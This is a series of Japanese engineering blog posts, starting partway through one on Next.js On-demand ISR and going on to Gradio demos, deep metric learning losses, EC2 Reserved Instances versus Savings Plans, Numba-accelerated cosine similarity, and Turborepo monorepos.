import { NextApiHandler } from "next";const handler: NextApiHandler = async (req, res) => { const secret = req.query.secret ?? req.body.secret const id = req.query.id if (secret !== process.env.ON_DEMAND_SECRET_TOKEN) { return res.status(401).json({ message: 'Invalid token' }) } if (!id) return res.status(404).json({message: 'Not Found'}) try { await res.revalidate(`/isr/${id}`) return res.json({ revalidated: true }) } catch (err) { return res.status(500).send('Error revalidating') }}export default handler 内容は、 http://example.com/isr/[id] に対してtokenを持たせてPOSTまたはGETを行うと、対象のIDのページを再生成するというものです。 上記のファイルのほとんどはresponseの中身に関するもので、再生成している箇所は以下のみとなっています。 await res.revalidate(`/isr/${id}`) この処理を実行させるだけで、対象のページが再生成されます。 注意点 getStaticPathsにおいてfallbackをfalseにしているとき、もともと存在していなかったURLを対象にしてOn-demand ISRを使用することはできません。 あくまで、ISRを任意のタイミングで実行するだけの機能なので、元々生成対象できない場合は対象外です。 終わりに 任意のタイミングで再生成できるようになったことも嬉しいですが、個人的にはrevalidateで秒数指定せずともISRできるようになったことが嬉しいです。 これは、ISRは確かに便利な機能ではあるのものの、秒数指定はそれほどスマートではない手法であると前々から感じていたためです。 この機能追加により、ヘルプや利用規約などの今まではHeadless CMSで管理していなかったようなテキストも管理するようになるかと思いますので、仕事がだいぶ楽になる人もいるかと思います。 この機能はまだまだ気が付けていない使い方などがありそうなので、色々と試してみるのが楽しみです。

はじめに まずこれを使った経緯としては、画像認識を使ったアプリケーションを作りたい！ でも画像認識って基本的にUIとかないと使いにくいかな〜？？ そこで画像認識を使ったアプリのUI部分にデモ作成ライブラリGradioを使ってみよう！ってなりました。 それで部内の勉強会に向けてその内容などをまとめたのでここにも備忘録としてまとめておきます。 これ読んだら何を学べるか Pythonを使ったアプリケーションのデモ作成で簡単にUIを作ることができます。 使ってみた感想 UIが簡単にできて画像認識のアプリ作成が楽しかったです。 画像関連のアプリ以外にも使えそうだなと感じました。 Gradioの説明 そもそもGradioとは何かというとPythonのライブラリです。 ではいったいどういうことができるライブラリなのかというと自分で構築したシステムのデモを簡単に作成することができます。 なかでもフロントサイドの部分(UI)を実装する必要がなく、バックエンドの処理部分でライブラリを利用することで、実際にシステムを簡単に試すことができるアプリを作成することができます。 しかもJupyter NotebookやGoogle Colab上での動作もサポートしているため気軽に試すことができます。 さらに！ 作成したアプリを外部に公開することも簡単にできます！ ローカルマシンで実行してから72時間は発行されたShare URLが有効です。(実行はローカルマシン上になります。) また永続的に公開したい場合はHugging Face Spacesでの公開がサポートされているためそこで公開することもできます！ なるほど「Gradio」を使うことでフロント部分を簡単に作成できてシステムのデモアプリがさくっと作れるんだな。。。 ぐらいの認識で大丈夫です！ また、入出力の形式も様々扱うことができるのである程度のシステムには対応できるかと思います！ 内部構成 Gradioには、インターフェースやブロックの入力や出力として、1行のコードで使用できるビルド済みのコンポーネントが含まれています。コンポーネントには、ブラウザから送信されたユーザデータをPython関数で使用できるものに変換する前処理ステップと、Pythonの関数から返された値をブラウザで表示できるものに変換する後処理ステップを含みます。 以下は3入力(テキストボックス、数値、画像)と2出力(数値、ギャラリー)の例です。 引用元： https://gradio.app/docs/#components-header 作ったアプリ それではここからは私が作成したデモアプリについて紹介させていただきます。 作成したアプリは大きく2つ！ 簡単に2つのアプリについて紹介しようと思います。(ここでは内部の処理については深く触れません。) 簡単な処理をするアプリ(お試し) 1つ目はGradioを使ってみるために簡単に作成したお試しアプリです。 入出力はどちらもテキスト形式で、入力されたテキストに対して加工を加えてリターンするという処理になります。 # main.pyimport gradio as grdef response_greet(name: int): res = "Hi" + name + "!" # インスタンスを生成(入力を渡す関数と入出力の形式を指定)app = gr.Interface(fn=response_greet, inputs="text", outputs="text")# appのローンチapp.launch() 実行結果(例：入力「マイナビ」、出力「Hiマイナビ!」) このように簡単に返答アプリを作成することができました！ ランドマークを予測するアプリ(画像認識) 2つ目は機械学習を使ったアプリです！ 入力は画像で、入力された画像から世界中にある似ているランドマークの名前を返してくれるものになります。 今回はあくまでもGradioの紹介なので画像認識部分のコードは割愛いたします。 # classify_image.pyimport gradio as gr# 入力画像から類似するランドマーク名を返す処理def classify_image(image): hogehoge fugafuga return labelapp = gr.Interface(classiry_image, image, label)app.launch() 実行結果(例：入力「東京スカイツリーの画像」、出力「Tokyo Skytree(東京スカイツリー)」) 画像のリンク元： https://www.photock.jp/detail/tour/5555/ 画像データも簡単に実装することができました！ まとめ 今回はデモ作成ライブラリGradioを使ってみました。 入出力の形式の組み合わせが何通りも設定できるので、機械学習に寄らずいろいろなシステムのデモで使えそうだと思いました！ コードもかなり少ないのでぜひ使ってみてください！

はじめに 今回はその性能と汎用性の高さから、様々な分野で応用が進んでいるDeep Metric Learning理論について紹介していきたいと思います。 ※loss function以降数学の内容がかなり多いので理解しにくいかもしれません。 Metric Learningとは？の理解をしたい方はLoss functionまで読んでいただけると何となくMetric Learningについて理解できると思います。 目的 Metric Learningの知識をみにつけたい 今後様々なタスクに応用できそうな技術なので、その知識を蓄えたい Metric Learnintとは そもそも機械学習における距離とは 距離（きょり、distance）とは、ある2点間に対して測定した長さの量(Wikipedia参照)です。 日常的な使い方としては、二つ場所間の距離を測る際にキロメートルを利用します。 新宿→竹橋の距離は 11.4km より抽象的な距離: GeForce RTX 2060 superと GeForce RTX 3060の価格差約 1万円 程度 (一応価格も距離であると認識すると後の記事を理解しやすいと思います。) 個人的には「何かを測る際の単位」が距離である、という感じで理解しています。 機械学習にもデータ間の距離をどうやって測定するかという問題はよくあります。 一般的に測定可能なデータの場合、ユークリッド距離（ED）、正弦波、およびその他の方法で直接行うことができます。 しかし、ビデオと音楽の間の距離を測定や、センテンス間の距離を測定するなど、より幅広いなデータに対しては上記の手法で距離を測ることは困難です。 例:顔の類似度(簡単)、履歴書の類似度(難しい)など metric learningとは metric learningの正式名称はDistance metric learningです。 つまり機械学習の形式でトレーニングデータに従って、特定のタスクに基づいて計量関数を自動的に構築することです。 定番のクラス分類と距離学習によるクラス分類の違いは、特徴量抽出部分を学習させる手法にあります。 metric learningは元データの変換や特徴を学習して、変換されたデータが特定のタスクに特定の類似性の尺度を満たすことができるようにします。ここでの尺度は、cosine similarity,overlap similarity,jaccard similarityなど、もしくは複雑な文章間の類似度や感情の類似性など測る尺度です。 Metric Learningのタイプ メトリック学習は主に下記の二つタイプ分けられています 教師あり学習 (Supervised Learning) 同じラベルデータの距離を近づけ、異なるラベルデータの距離を遠ざけることができる距離を学習することです。center loss、amsoftmaxなどをよく使っています。 center lossでは各クラスにcenter featureを算出します。それによってクラス内の距離が狭くなります。center featureはクラス内の距離のみ関与するため、通常はsoftmaxやcross entropy loss損失と組み合わされ、カテゴリを分離しながら、クラスの距離を短くすることができます。 amsoftmaxはsoftmaxに基づいて改善されていますが、softmaxとは異なります。カテゴリを分離可能にするだけでなく、クラス内の距離を狭め、クラス間の距離を広げることができます。 ※もちろん教師データの処理によってWeakly SuperVised Learningをさせることも可能です。検証はまだしていませんが、個人的は負例のデータを一緒に学習させるとクラス間の距離もっと遠ざけることができると思います。 弱教師あり学習 (Weakly Supervised Learning) こちらの学習データは教師あり学習の手法とは少し異なり、タプル・トライアドのデータペアを学習します。正例のペアと負例のペアを事前に用意して、学習際に正のペアを近づけ、負のペアを遠ざけるによってデータ間のメトリックを学習します。 弱教師あり学習では、contrastive loss(対照損失）とtriplet loss(トリプレット損失）をよく使います。 上記で紹介した各lossは、後に詳しく説明したいと思います。 Deep Metric Learningとは？ 実際にDeep Metric Learningでは、レコメンド、NLP、画像処理の分野などの領域よく利用されています。 Deep Metric Learningは、representation learning (参考サイト) のブランチです。 レコメンド領域有名なDSSMネット構造、最後の一層はCosより距離計算しています 従来の機械学習手法では、生データ処理機能によって制限されています。 したがって、分類またはクラスタリングタスクの前に前処理や特徴抽出ステップなどの特徴エンジニアリングが必要です。 これらのステップには専門知識が必要になります。 一方、深層学習は生データから学習できるという強みを持っています。従来の機械学習手法とは異なり、ディープラーニングはデータ量が少ないと十分に成功しないため、成功する結果を得るには大量のデータが必要です。 個人的理解を一言でまとめると、 ペア特徴持っているデータに対して距離特徴を持っているembeddingを作成できる仕組みです 。 Deep Metric Learningイメージ a)生のデータ分布 b)ユークリッド 距離計算 c)意図的にデータを準備する d) 同じニューラルネットワークで同じラベルのデータ間の距離を最小化学習させ、異なるラベルのデータ間の距離を最大化させ距離を測る 上記の学習結果よりデータ間の距離を再定義します Deep Metric Learning step(pipeline) 深層距離学習pipelineは主に3つで構成されています。 学習データの準備と処理 ニューラルネットワークの設計 損失関数の選択(タスクやデータ構造を考慮しつつ) 同じラベルのデータの距離の最小化や、異なるラベルのデータ間の距離を最大化する仕組みはDeep Metric Leanringの最もコアの部分であり、上記の仕組みでは主に損失関数の設計や選択で実現しています。 入力するサンプルは、Deep Metric Learningの成功を改善するための最も重要な要素の1つであり、サンプルの組み合わせの選択はモデル訓練の成功と収束性に大きな影響を与えます。 loss functionについて いろんな文献や記事を読むとMetric Learningで一番重要なのはLoss functionであると書かれてあります。そのため、今回はLoss functionについて書かれた論文や記事を個人の観点でまとめようと思います。 弱教師あり学習 contrastive loss contrastive lossは2006年に発表された「Dimensionality Reduction by Learning an Invariant Mapping」において、次元削減操作を行うものとして提案されています。この論文中にMetric Learningというワードは登場しませんが、距離を学習させて次元削減を実現します。 contrastive lossの考え方は、 類似したサンプル間の距離と異なるサンプル間の距離を独立して短くすることです。 2つのサンプルiとjが1つのラベルの場合、y_ij=1。この時点で、Lossはこの二つサンプルの距離である iとjが異なるラベルの場合、y_ij = 0 その時点のlossは、 d > αになるよう学習させます。 contractive loss全体像 triple loss 2015年に発行された「FaceNet: A Unified Embedding for Face Recognition and Clustering」で、顔の分類タスクにTriple lossを使用することが提案されています。 Triplet lossでは3組の入力データのpositiveペアとnegativeペアの相対距離を算出し、それにマージンをかけます。つまり、Contrastive lossではnegativeペアをマージンmの距離よりも離れるように学習させることですが、Triplet lossではnegativeサンプルとの距離をpositiveサンプルとの距離よりもマージンmの距離以上に遠くなるよう学習させることです。同時に、intra-classのサンプルを引き寄せてinter-classのサンプルを離れようとすることができます。現在でも広く使われている距離学習手法のようです。 a: anchor p: Positive n: Negative D_ap: anchor とPositiveの距離 α : Margin Triple Lossの要素 教師あり学習 center loss center Lossは2016年に「A Discriminative Feature Learning Approach for Deep Face Recognition」より提案されたものです。 Metric Learningは、単純にsoftmaxやcross entropy lossを利用することに制限があります。この二つ方法によりカテゴリを分離が可能ですが、同じ クラス内の距離を狭めることはできません 。 Metric Learningにおいて、クラスを分離できるだけでなく、クラス間を区別することも学習する必要があります。 そこでcenter Lossが提出されました。center lossは、センタークラスタリングとsoftMaxクラス間損失のコアアイデアを利用し、センタークラスタリングの クラス内 制約とsoftMaxの クラス間 制約を実行します。訓練時にはsoftmax lossに加算した損失関数(Ltotal)を使われています、同様の特徴もつデータがクラスの中心点の周りにクラスター化して、クラス間距離を拡大し、クラス内距離を短縮し、より識別力のある深い特徴を学習します。 対応する損失関数は cyiはデータの正解クラスの中心位置です。各クラスの中心位置はmini-batchごとで更新されます ▼softmax cross entropy lossから得られた特徴量の可視化 AMSoftmax こちらについては私も全は部理解できていません。。。 AMSoftmaxはSoftmaxより展開されたものですが、Metric Learningに特化したようなものでした。 論文 ではAMSoftmaxはクラス間の距離を広げ、クラス内のデータ距離を狭めることが可能になり、クラス間の距離をTarget regionに狭めさせています。 まとめ 今回はMetric Learning理論について、重要な部分と自分の感想をまとめました。 深層距離学習は、識別性の高い(discriminative)特徴量を得るためにディープニューラルネットワークを学習させる手法です。得られたモデルは 特徴量抽出器 として利用します。 学習手法はデータの形によって、教師あり学習と弱教師あり学習の二つに大きく分けられています。 損失関数の設計の他に、サンプル選択の設計も大事です。 画像やNLPなどいろんな領域に適応することが可能です。 なぜわざわざそういう難しい技術を学ぶのかというと、 距離を測るという技術がマイナビにとって重要であると思うからです。 この技術は文書間の類似度を測るだけでなく、他の文字データの距離も測られます。 つまり、この技術により我々が扱っているデータのレコメンドやマッチングに何か新しい観点で処理可能の技術になるかもしれないということです。 Metric Learningは近年大きな成果がありませんが、現在の結果から見ると 距離を学習させる という概念がいくつかの領域で利用ができると思います。 近いうちに何かデータを利用して実践してみようと思います！！！ 参考記事 深層距離学習(Deep Metric Learning)の基礎から紹介 Sampling Matters in Deep Embedding Learning FaceNet: A Unified Embedding for Face Recognition and Clustering MLAS: Metric Learning on Attributed Sequences A Discriminative Feature Learning Approach for Deep Face Recognition FaceNet: A Unified Embedding for Face Recognition and Clustering 人脸识别系列（十六）：AMSoftmax Deep Metric Learning: a (Long) Survey Deep Metric Learning: A Survey A Discriminative Feature Learning Approachfor Deep Face Recognition 从Softmax到AMSoftmax(附可视化代码和实现代码) 顔認証におけるいろいろな損失関数（Loss function）

はじめに 通常、EC2の料金形態はオンデマンド料金です。 長期契約無しで、時間または秒単位の従量課金制での支払いとなります。 EC2の料金形態は1種類だけなのか、というとそういうわけではありません。 オンデマンド料金に比べてEC2の利用料金を抑えられる Amazon EC2 リザーブドインスタンス（RI） Savings Plans（SP） という2つのサービスがあります。 これらはある条件下のもとで一定期間の契約をするとEC2の利用料金のディスカウントを受けられるサービスです。 「RIかSPの導入を検討したいがよくわからないなあ。（詳しいことは置いておいて）簡単に言うとどういう違いがあるの？」と現状思ってしまっている自分向けに、今回はRIとSPを比較するうえで必要そうな情報をまとめてみました。 Amazon EC2 リザーブドインスタンス（RI） RIとは 「一定期間の使用」を前提とすることで大幅にコスト削減が出来るサービスです。 1年もしくは3年の期間でキャパシティ予約が可能です。 ※キャパシティ予約：任意のインスタンスタイプのEC２インスタンスを予約期間中は予約分いつでも起動が可能 非常に簡単にいうと、「1年間／3年間はこのインスタンスタイプのこのEC2を使い続けます。」と先に宣言することでお安くしてもらうサービスという理解でひとまずはよさそうです。 その際、さまざまな制約や条件によって割引率が変わるのでまたもや簡単にまとめてみます。 EC2の利用料金に関わるRIには2つのプランがあります。 スタンダードRI オンデマンド料金からの平均割引率が1年 (40%)、3年 (60%)と割引率の高いタイプになります。 AZ、インスタンスサイズ、ネットワークタイプの変更が可能です。 ただし、インスタンスファミリーの変更ができません。また、支払いオプションの変更も不可能です。 ※補足 インスタンスサイズの変更が可能というのは、キャパシティ予約した複数のRIを結合させたり分割させる事でインスタンスサイズの変更が可能です。 割引率が高いが制約が多いイメージです。 コンバーチブルRI オンデマンド料金からの平均割引率は1年 (31%)、3年 (54%)となり、スタンダードRIと比べると割引率は低いタイプになります。 スタンダードRIと同じく、AZ、インスタンスサイズ、ネットワークタイプの変更が可能です。 加えて、インスタンスファミリーの変更も可能です。（ただしRI作成時の価格より同等以上のもののみ変更が可能であり、差額を支払う必要があります。） また、制限ありで支払オプションの変更が可能です。 スタンダードに比べると割引率は低いが柔軟性が高いイメージです。 支払オプション 支払いパターンは以下から選ぶことができます。 全額前払い 一部前払い 前払い無し 割引率は全額前払い＞一部前払い＞前払い無しとなります。 注意点・確認点 サーバ休止期間が長くとも費用は変わりません。 キャパシティ予約であり、一定期間継続してサーバの利用をするという前提での料金体系のためです。 サーバ停止せず動き続けるサービスでしたらRIの条件にあうかと思われます。 サーバ夜間停止などをするサービスの場合は、試算を行いオンデマンド料金との比較を行なったうえで検討する必要があるかと思います。 インスタンスのスペックなどがアゲサゲしにくいのでAWSの特性を活かしにくいです。 開発環境などのサーバ要件を変更させる可能性がある環境ではRIは適していない可能性があります。 Savings Plans（SP） SPとは 「一定期間、一定量の使用」を前提とすることで大幅にコスト削減が出来るサービスです。 SPでは1年もしくは3年の期間で特定量（USD/時間）を契約することが可能です。 非常に簡単にいうと「一定期間、1時間に何ドル分AWSを使います」と宣言して契約することで、その額までは割引が効いた利用料にしてくれるサービスという理解でひとまず良さそうです。 EC2の利用料金に関わるSPには2つのプランがあるので、またもや簡単にまとめていきます。 Compute Savings Plans オンデマンド料金からの平均割引率が1年 (約30%)、3年 (約50%)と割引率の高いプランになります。 インスタンスファミリー、サイズ、アベイラビリティーゾーン、リージョン、OS、またはテナンシーに関わらず EC2 インスタンスの使用に自動で適用がされます。 EC2だけでなく、Fargate や Lambdaにも適応が可能です。 比較的自由度高く、インスタンスを低価格で利用出来るプランとなっているイメージです。 EC2 Instance Savings Plans オンデマンド料金からの平均割引率が1年 (約40%)、3年 (約60%)となり、Compute Savings Plansと比べると割引率の高いプランになります。 リージョン内で個々のインスタンスファミリーでの契約となり、任意のリージョン内での任意のインスタンスファミリーは自動的にディスカウントが適応されます。 この際、アベイラビリティーゾーン、サイズ、OS、またはテナンシーは自由です。 リージョンとインスタンスファミリーに制約はあるが、Compute Savings Plansより更に割引率高く利用できるプラン となっているイメージです。 支払オプション 支払いパターンは以下から選ぶことができます。 全額前払い 一部前払い 前払い無し 割引率は全額前払い＞一部前払い＞前払い無しとなります。 注意点・確認点 契約時、自身で適切な特定量（USD/時間）を計算する必要があります。 契約した特定量（USD/時間）を超過した場合、超過分はオンデマンド料金にて発生します。 SP運用中は特定量の変更が出来ないため、適切な金額にて契約する必要がありそうです。 特定量（USD/時間）での契約のため、ディスカウント対象となるリソースの柔軟性は高いです。 さいごに RIにもSPにも制約があります。 条件と割引率を天秤にかけながらの検討が必要そうです。 おまけ RI、SPは1年/3年と契約期間が長く、気づいたら有効期限切れとなってしまっている場合がありそうだなと思ったのですが、どうやらアラートの利用が可能のようです。 60 日前、30 日前、7 日前、当日にアラートを受け取れる設定ができるとのことなので活用していきたいと思います。 参考 https://aws.amazon.com/jp/ec2/pricing/reserved-instances/ https://aws.amazon.com/jp/savingsplans/ https://aws.amazon.com/jp/about-aws/whats-new/2019/05/reservation-expiration-alerts-now-available-in-aws-cost-explorer/ おまけ2 当社のキャリアアドバイザーが「WEB事業会社に興味はあるけど、何から始めるべきかわからない」「転職は考えていないけど、今の環境が今後に活きるのかわからない」など、今後のために情報収集したい、という方に少しでも参考になる情報をまとめています。良ければご覧ください！ ###card_post_id=2375###

前書きは前提内容になりますので、読み飛ばしてもらって結構です。 前書き IEEE Spectrumによると、Pythonは過去6年間、プログラミング言語のトップであり続けています。 Pythonは機械学習アプリケーションの構築にも使用されている言語です。 システム職の方はご存知かと思いますが、Pythonはインタプリタ言語です。そのため開発のスピードは上がります。 しかし実行時には毎回コンパイルと各ステートメントの実行が必要なため、実行速度は他の言語との中で比較的遅くなります。これがスケーリング時に問題になることもあります。 このことから、「高速化するためにはほかのコンパイラ型言語のようにPythonのコードを一度コンパイルするか、少なくともその一部をコンパイルすればよいのではないか？」という疑問がわいてきます。 そこで今回はNumbaを使ってPythonの高速化を図りたいと思います。 Numbaとは Numbaは、PythonとNumpyのコードを一部高速な機械語に変化するオープンソースのJIT(Just In Time)コンパイラです。Numpyの配列や関数と一緒に使うことを想定して設計されています。 配列指向で数学的に重いPythonのコードを最適化してくれます。 本記事の目的 PythonでNumbaを使ってCos類似度計算の高速化を図る！ 想定読者 日常的にPythonを使用している人 高速化ライブラリNumbaを使用したことがない人 Cos類似度を比較的よく使用する人 Cos類似度の速度を少しでも速めたい人( 重要 ) Cos類似度の説明(ご存知の人は飛ばしてください) Cos類似度とは2つのベクトルが「どのくらい似ているか」という類似性を表す尺度で、具体的には（ベクトル空間における）2つのベクトルがなす角のコサイン値のことです。 この値は2つのベクトルの内積（＝向きと大きさを持つベクトル同士の掛け算）を2つのベクトルの大きさ（＝$ L_2 $ノルム）で割ることで計算されます。 この計算によって値が-1~1の範囲に正規化されるので、Cos類似度が 1なら「0度で、同じ向きのベクトル＝完全に似ている」 0なら「90度で、独立・直行した向きのベクトル＝似ている・いない、のどちらにも無関係」 -1なら「180度で、反対向きのベクトル＝完全に似ていない」 という意味になります。 (Cos類似度計算を既存のライブラリで行なう場合、ライブラリによっては逆になることがある。) 参考サイト：コサイン類似度（Cosine Similarity）とは？ - ITmedia 本題 今回はCos類似度計算を高速化したいためPythonのNumbaを使用してどの程度高速化できるのか見てみます。 実験 この実験では、50次元の2つのnumpy配列の間で、Numbaを使用しない場合と使用する場合のコサイン類似度計算を行いました。 まず、 Numbaを使用しない場合 です。 def cosine_similarity(u:np.ndarray, v:np.ndarray): assert(u.shape[0] == v.shape[0]) uv = 0 uu = 0 vv = 0 for i in range(u.shape[0]): uv += u[i]*v[i] uu += u[i]*u[i] vv += v[i]*v[i] cos_theta = 1 if uu!=0 and vv!=0: cos_theta = uv/np.sqrt(uu*vv) return cos_theta 次に Numbaを使用した場合 です。 from numba import jit@jit(nopython=True)def cosine_similarity_numba(u:np.ndarray, v:np.ndarray): assert(u.shape[0] == v.shape[0]) uv = 0 uu = 0 vv = 0 for i in range(u.shape[0]): uv += u[i]*v[i] uu += u[i]*u[i] vv += v[i]*v[i] cos_theta = 1 if uu!=0 and vv!=0: cos_theta = uv/np.sqrt(uu*vv) return cos_theta 両方の関数を複数の計算回数で実行して、実行時間の違いについてまとめてみました。(実行環境によって多少前後します。) 計算回数 Numbaを使用しない場合 Numbaを使用した場合 1 83.6 μs 1.11 μs 100 8.34 ms 70.9 μs 1,000 86.6 ms 706 μs 10,000 830 ms 7.09 ms 100,000 8.08 s 70.2 ms 1,000,000 1min 27s 699 ms 両対数グラフで示すと以下のようになります。 結果 表にもある通りNumbaを使用した場合のほうが明らかに速いことがわかります。 今回はNumbaを使用してCos類似度計算の高速化を図りましたが、Numbaにはほかにもいろいろと機能があります。 今後もNumbaを使ったPythonの高速化記事を掲載できればと思います。

モノレポとは 複数のアプリケーションを同一のリポジトリで運用する構成のことを、Monorepo (以下モノレポ)と言います。 Turborepo Turborepoはこのモノレポ環境のうち、JavaScript系のモノレポ環境を対象としたビルドツールです。 昨今のJavaScript周りの発展は目覚ましく、フロントサイドとサーバーサイドどちらもJavaScriptなんて構成は珍しくありません。Turborepoもそうした流れで生まれたツールの一つで、JavaScriptのモノレポをよりシンプルに扱えるようにしてくれます。 導入 node.jsがインストールされている環境で、以下のコマンドを実行してください。 npx create-turbo@latest 実行すると、プロジェクト名と使用するパッケージマネージャを聞かれると同時に、次のようなサンプルの環境が作成されます。 ├── README.md├── apps│   ├── docs│   │   ├── README.md│   │   ├── next-env.d.ts│   │   ├── next.config.js│   │   ├── package.json│   │   ├── pages│   │   └── tsconfig.json│   └── web│   ├── README.md│   ├── next-env.d.ts│   ├── next.config.js│   ├── package.json│   ├── pages│   └── tsconfig.json├── package-lock.json├── package.json├── packages│   ├── eslint-config-acme│   │   ├── index.js│   │   └── package.json│   ├── tsconfig│   │   ├── README.md│   │   ├── base.json│   │   ├── nextjs.json│   │   ├── package.json│   │   └── react-library.json│   └── ui│   ├── Button.tsx│   ├── index.tsx│   ├── package.json│   └── tsconfig.json└── turbo.json build cache Turborepoの利便性を語るうえで欠かせないのが、ビルドにキャッシュを効かせることができる点です。 作成された環境には、appとpackageというディレクトリが存在しており、appの中にはアプリ本体と思われるapp/webとそのドキュメントapp/docsが存在しています。 この状態でビルドコマンドとして以下のコマンドを実行すると、turbo.jsonに記載された内容に従い、Turborepoが配下のディレクトリの中でnpm scriptsとしてbuildを持つものに対し、npm run buildコマンドを実施します。 npm run build サンプルの場合、app配下にNext.jsで作られたwebとdocsの2つのWebアプリが存在するため、その2つにビルドが走り、ビルド後に以下のような結果が表示されました。 Tasks: 2 successful, 2 totalCached: 0 cached, 2 total Time: 23.785s 2つのTaskのうち2つともキャッシュされず、約24sで結果が返されたという内容です。 では、この状況で同じコマンドをもう一度実行してみましょう。 すると、結果が以下のように変わります。 Tasks: 2 successful, 2 totalCached: 2 cached, 2 total Time: 16ms >>> FULL TURBO 2つのTaskのうち2つともがキャッシュされ、16msで結果が返されたという内容です。 Turborepoは、コマンド実行時、対象のディレクトリの中に.turbo/を作成し、その中にハッシュを保存、再度同じコマンドが実行された場合にハッシュを比較し、変更がなければ前回の出力内容をそのまま返すことで処理の高速化を行っています。 このサンプルであれば、apps/webとapps/docsの配下に.turbo/を作成する形となります。 これが、Turborepoのビルドキャッシュです。 全体を何度もビルドしなくて済むため、コードが膨大になってもビルド時間の長期化をある程度抑えることができます。 なお、コマンド入力時の操作についてはturbo.jsonに記載することである程度自由に操作できます。 今回はbuildなのでコマンド実行時に必ずキャッシュさせていましたが、させないことも可能です。 また、コマンド実行時に--filterオプションを用いることで、特定のディレクトリのnpm scriptsのみを実行させるということもできます。 ちなみに、現在Beta機能ですが、Vercel経由でリモートキャッシングも可能です。 これを用いることで、チーム全体でキャッシュを使用できます。 npm workspacesを用いたローカルpackageの利用 これは turborepo の機能ではありませんが、turborepoを用いることでこの恩恵にあずかることができるため紹介します。 npmの機能の一環に、npm workspacesというものがあります。 これは簡単に言うとローカルに作成したpackageをnpm管理できる機能で、npmにアップロードしていない自作パッケージをあたかもnpm上にあるパッケージであるかのように使用できる機能です。 モノレポでない場合はあまり使う機会のない機能なのですが、モノレポの場合これは非常に便利な機能となっています。 例えばサンプルの場合、この機能を用いてapps/webとapps/docsのbuttonにpackage/uiのButtonを持ってきています。 フロントエンドであれば、よく使いまわすようなパーツ、アトミックデザインで言うところのatomsに位置するコンポーネントをこのnpm workspacesの管理下に配置しておくことで、より統一感のあるデザインでより高速な開発を実現できます。 設定の共通化 組織全体で何かしらの統一ルールが存在しない場合に起こりがちなのが、設定の非共通化です。 例えばlintの場合、言語が違う中で設定が異なるのは別に問題ないのですが、同じJavaScriptでチームごとにeslintの設定が異なるというのは開発時に不要な問題を起こしてしまうことにつながりかねません。 サンプルのようにnpm workspacesをうまい事活用すれば、同じeslintの設定を複数のディレクトリで採用することができます。 これで、フロントサイドではシングルクォーテーション、サーバーサイドではダブルクォーテーションといった些細なルール違いから逃れ、統一感のあるコーディングが可能となります。 依存関係の可視化 ※実行にはGraphvizのインストールが必要です。 モノレポの運用にうまくいかないと、依存関係が複雑化してしまうことがあります。 npm workspaceを使用していると、このパッケージがどのディレクトリで使用されているかわからないので不用意に変更できない、なんてこともあるでしょう。 そんなときのために、Turborepoは依存関係を可視化できます。 例えば、サンプルでbuild時における依存関係を可視化した場合以下のようになります。 npx turbo run build --graph=sample-graph.png 対応する出力形式は、Graphvizの対応する形式なので、pngやjpeg, pdfやhtml, svgやwebpなど有名な形式にはおおむね対応しています。 おわりに 私は個人的にはモノレポ反対派なのですが、Turborepoはかなり便利なツールに感じました。 特に便利なのが、他のパッケージと同じくnpmでインストールできるので、既存のプロジェクトに後から導入する場合でもそれほど苦ではない点です。 jsに限定されるという欠点こそありますが、その場合は別のツールを使えばいいだけですし、フロントエンドだけでも用いるという方針をとっても、それほど大きな問題にはならないように思えます。 もし、管理が大変なことを理由にモノレポを避けているのであれば、ぜひ一度触ってみてください。